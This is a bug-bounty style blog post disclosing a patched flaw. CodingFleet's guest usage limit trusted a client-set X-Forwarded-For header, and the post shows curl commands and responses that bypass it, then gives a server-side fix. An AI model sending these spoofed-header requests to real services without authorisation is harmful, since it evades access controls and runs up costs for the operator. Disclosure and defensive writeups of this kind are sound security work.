I’m starting something new on Guardyk. Most of my work ends up locked inside client reports that nobody outside the room ever reads. Labs are good for keeping sharp, but they are not the real thing. So here is the plan going forward: every so often I will walk you through an actual bug I found on an actual live target, start to finish. We can call this a series :)
First one up is CodingFleet. They patched this back in April and were kind enough to let me publish it, so thanks to them for that.
The whole bug put simply: I told their server I was a different person every time I asked it something, and it believed me every single time.
The setup
CodingFleet lets you try its AI code generator without signing up. You get three free requests, then it asks you to register. Fair enough. Those requests are not free for them to serve. Every token their models produce is a bill from Anthropic, OpenAI, Google, DeepSeek etc. The guest limit is the fence that stops that bill from running wild for people who never create an account.
So the limit needs to tie each guest to something (for the purpose of identification and limiting). They went with your IP address. Also fair, on paper.
The trouble is where they read that IP from.
The bug
Instead of the real connection IP, the one the operating system hands the server and that you cannot forge, they read it out of a header called X-Forwarded-For.
Here is the thing about that header. It is sent by you. The client. Whoever is making the request. It is a suggestion, not a fact. And the server treated it like gospel.
You can probably see where this is going. New value in the header means brand new "person" as far as the fence is concerned. Write ten lines of code that change that one value on a loop and the fence is easily bypassed. No account to ban. No real IP to block. Nothing to switch off without touching the code itself. And every trip through that loop is another charge on their card.
The proof
First I wanted to be sure the limit was actually awake and blocking me. Five requests from my real IP (after exceeding my limit):
for i in {1..5}; do
fresh_csrf=$(curl -s -c /dev/null https://codingfleet.com/code-generator/python/ \
| grep -o 'csrf_token = "[^"]*"' | cut -d'"' -f2)
echo -n "Request $i: "
curl -s -X POST "https://codingfleet.com/stream-code-generator/" \
-H "X-CSRFToken: $fresh_csrf" \
-b "csrftoken=$fresh_csrf" \
-F "language=python" -F "text=hello world" \
-F "model_name=deepseek-v4-flash" | head -c 100
echo
done
Blocked on all five, exactly as it should be:
Request 1: {"error": "Guest usage limit exceeded..."}
Request 2: {"error": "Guest usage limit exceeded..."}
Request 3: {"error": "Guest usage limit exceeded..."}
Request 4: {"error": "Guest usage limit exceeded..."}
Request 5: {"error": "Guest usage limit exceeded..."}
Good. The fence works. Now watch what one extra line ("X-Forwarded-For: 10.0.0.1") does to it:
curl -s -X POST "https://codingfleet.com/stream-code-generator/" \
-H "X-CSRFToken: $fresh_csrf" \
-H "X-Forwarded-For: 10.0.0.1" \
-b "csrftoken=$fresh_csrf" \
-F "language=python" -F "text=hello world" \
-F "model_name=deepseek-v4-flash" | head -c 200
And it just answers:
event: stream_id
data: {"stream_id": "74d9a82a-e262-4b3b-9d62-7a1712eea2a5"}
data: {"data": "Here"}
data: {"data": "'s"}
data: {"data": " a"}
data: {"data": " simple"}
The same thing in the terminal. Blocked on my real IP up top, then the answer streaming back the second the header went on.
Full response. Limit gone. I ran it again with five different made-up IPs to make sure it was not a fluke, and each one ran straight through with its own fresh stream:
IP 10.0.0.1: [BYPASSED]
IP 10.0.0.2: [BYPASSED]
IP 10.0.0.3: [BYPASSED]
IP 172.16.0.1: [BYPASSED]
IP 192.168.1.1: [BYPASSED]
One last check, because I wanted to pin down which header was the soft spot. I tried the same move with X-Real-IP instead. That one did nothing, still blocked. So the server was specifically trusting X-Forwarded-For for its IP logic, and nothing else.
Five made-up IPs, five clean passes. And at the very bottom, the X-Real-IP control still catches the block, which is how I knew it was X-Forwarded-For doing the damage.
The same thing in Burp
If staring at terminal output is not your idea of fun, here it is laid out in Burp. Same request, one header apart.
No forwarded header. The response hands back the guest limit error.
Set X-Forwarded-For to 10.0.0.99 and the exact same endpoint starts streaming the answer.
The fix
Short version: stop trusting the client.
Read the IP from REMOTE_ADDR. That is the real connection address, set by the OS, and the person on the other end cannot rewrite it.
If there is a load balancer or reverse proxy sitting in front of the app, then yes, you do need the forwarded IP. But only from that one proxy you actually control. Trust the header from that source, ignore it from everywhere else.
On Django specifically (because CodingFleet was built with Django), django-ipware handles this properly once you hand it a TRUSTED_PROXY_LIST. Skip that config and it will believe whatever IP header turns up, which is the exact hole we just walked through.
Before you go spoofing headers
Like I said, this one has been patched since April 2026, so poking at CodingFleet will get you nowhere. But the trick itself is not special to them. Plenty of sites still read the client's IP straight from a header and trust it, and now you know how to spot it.
You can absolutely reach for this when you are pentesting something you were hired to test, or hunting on a bug bounty program where the target and the technique are in scope. That is the job, go do it. What you cannot do is go spoofing headers at some random site just because this post made it look easy. The only thing that made my testing legal was permission to run it.
So try it everywhere you are actually allowed to. Everywhere else, keep your hands off. I hear confined spaces are not very comfortable.
Never miss a tutorial
Related Tutorials
Step-by-Step Metasploitable2 Exploitation Guide f…
A complete, beginner-friendly penetration testing tutorial for cybersecurity st…
Read Tutorial
How to Crack Locked PDFs
Learn how to crack password‑protected PDFs using pdfcrack. This concise guide c…
Read Tutorial
How to Perform a Wi-Fi Deauthentication Attack
Learn how Wi-Fi deauthentication attacks work and how targets can be forcibly d…
Read Tutorial
Discussion (0 comments)
Join the Discussion
No comments yet
Be the first to share your thoughts on this tutorial!